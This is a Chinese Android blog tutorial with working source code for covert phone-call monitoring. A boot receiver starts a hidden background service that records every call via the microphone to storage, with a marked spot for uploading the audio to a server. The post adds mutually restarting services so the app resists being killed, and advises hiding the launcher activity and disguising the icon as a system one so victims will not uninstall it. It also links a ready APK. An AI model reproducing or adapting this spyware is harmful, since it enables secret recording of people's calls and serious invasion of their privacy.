您的位置:首页 > 移动开发 > Android开发

android电话监听实现

2015-12-05 15:40 477 查看
一、开头先废话下(忍耐下...)

1.今天天气不错,已经确定没有其他事了,心里很平静,就开始总结下。发现写总结看起来简单,但是其实很考验人,因为有时会觉得没有意义,没有人会看,没有人会关注。就当做自我的一个笔记,很多年看到这,就会会心一笑,这个时候的我多幼稚。可能这个就是成长吧。

2.监(qie)听电话原理其实很简单,就是利用android系统提供的api实现。

二、步入正题(不能啰嗦太多...)

1.首先新建一个SystemService继承Service

2.拿到TelephoneManager的实例,调用它的listen方法

<span style="font-size:18px;">
     * Registers a listener object to receive notification of changes
     * in specified telephony states.
     * <p>
     * To register a listener, pass a {@link PhoneStateListener}
     * and specify at least one telephony state of interest in
     * the events argument.
     *
     * At registration, and when a specified telephony state
     * changes, the telephony manager invokes the appropriate
     * callback method on the listener object and passes the
     * current (udpated) values.
     * <p>
     * To unregister a listener, pass the listener object and set the
     * events argument to
     * {@link PhoneStateListener#LISTEN_NONE LISTEN_NONE} (0).
     *
     * @param listener The {@link PhoneStateListener} object to register
     *                 (or unregister)
     * @param events The telephony state(s) of interest to the listener,
     *               as a bitwise-OR combination of {@link PhoneStateListener}
     *               LISTEN_ flags.
     */
    public void listen(PhoneStateListener listener, int events) {
        String pkgForDebug = mContext != null ? mContext.getPackageName() : "<unknown>";
        try {
            Boolean notifyNow = true;
            sRegistry.listen(pkgForDebug, listener.callback, events, notifyNow);
        } catch (RemoteException ex) {
            // system process dead
        } catch (NullPointerException ex) {
            // system process dead
        }
    }</span>


这个是源码,简单的说就是listen方法第一个参数就是给对象注册监听事件,第二个参数就是你要监听的对象内容。
3.电话有很多种状态,在不同的状态下写你自己的事件(后面代码注释很详细)

4.实例化一个录音机,当通话状态时,开始录用,通话状态结束时,把音频文件在后台上传到服务器,实例化录用代码注释很详细。

5.如何监听它了??这个就需要用到广播。它的作用就是只要用户一开机就开始进行监听。把我们上面的SystemService这个服务开启起来。使用 android.intent.action.BOOT_COMPLETED这个广播就能一开机就开始监听。相当于用户一开机就把服务开起来。

<span style="font-size:18px;">
 * 监听android开机广播(只要手机一开机就开始监听)
 */
public class BootReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent i = new Intent(context,SystemService.class);
		context.startService(i);
	}
}
</span>

6.采用守护线程,当你的服务OnDestroy的时候,开启另外的一个服务,这样除非用户同时关掉两个,不然不能把你的应用完全杀88死。你的应用可以死而复生。

7.MyActivity里面设置了两个按钮一个开启服务,一个关闭服务,方便学习。当然你也可以让用户一安装你的应用,就看不到(直接在OnCreate这个生命周期调用finish())。然后把你的图标换成系统图标,这样用户就不敢随便卸载。然后恶作剧就成功了....

8.记得在AndroidManifest.xml添加权限和注册

<span style="font-size:18px;"> <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application android:label="@string/app_name" android:icon="@drawable/ic_launcher">
        <activity android:name="MyActivity"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

        <service android:name="com.andrew.systemservice.SystemService" />

        <service android:name="com.andrew.systemservice.SystemService2" />

        <receiver android:name="com.andrew.systemservice.BootReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application></span>

三、贴代码(够直接吧....)

1.SystemService

<span style="font-size:18px;">
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

import java.io.File;

public class SystemService extends Service {
	// 电话管理器
	private TelephonyManager tm;
	// 监听器对象
	private MyListener listener;
	//声明录音机
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	/**
	 * 服务创建的时候调用的方法
	 */
	@Override
	public void onCreate() {
		// 后台监听电话的呼叫状态。
		// 得到电话管理器
		tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
		listener = new MyListener();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
		super.onCreate();
	}

	private class MyListener extends PhoneStateListener {
		// 当电话的呼叫状态发生变化的时候调用的方法
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
					case TelephonyManager.CALL_STATE_IDLE://空闲状态。
						if(mediaRecorder!=null){
							//8.停止捕获
							mediaRecorder.stop();
							//9.释放资源
							mediaRecorder.release();
							mediaRecorder = null;
							//TODO 这个地方你可以将录制完毕的音频文件上传到服务器,这样就可以监听了
							Log.i("SystemService", "音频文件录制完毕,可以在后台上传到服务器");
						}

						break;
					case TelephonyManager.CALL_STATE_RINGING://零响状态。

						break;
					case TelephonyManager.CALL_STATE_OFFHOOK://通话状态
						//开始录音
						//1.实例化一个录音机
						mediaRecorder = new MediaRecorder();
						//2.指定录音机的声音源
						mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
						//3.设置录制的文件输出的格式
						mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
						//4.指定录音文件的名称
						File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
						mediaRecorder.setOutputFile(file.getAbsolutePath());
						//5.设置音频的编码
						mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
						//6.准备开始录音
						mediaRecorder.prepare();
						//7.开始录音
						mediaRecorder.start();
						break;
					default:
						break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	/**
	 * 服务销毁的时候调用的方法
	 */
	@Override
	public void onDestroy() {
		super.onDestroy();
		// 取消电话的监听,采取线程守护的方法,当一个服务关闭后,开启另外一个服务,除非你很快把两个服务同时关闭才能完成
		Intent i = new Intent(this,SystemService2.class);
		startService(i);
		tm.listen(listener, PhoneStateListener.LISTEN_NONE);
		listener = null;
	}

}
</span>


2.BootReceive
<span style="font-size:18px;">
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
 * 监听android开机广播(只要手机一开机就开始监听)
 */
public class BootReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent i = new Intent(context,SystemService.class);
		context.startService(i);
	}
}
</span>


四、完整代码请移步下载

github下载地址:https://github.com/hongxialiu/PhoneListener

CSDN免费下载地址:http://download.csdn.net/detail/u011176685/9328861

自己做的APK只是签名了下,下载地址:http://pan.baidu.com/s/1hqvvqOO

转载请注明:转自/article/3618998.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: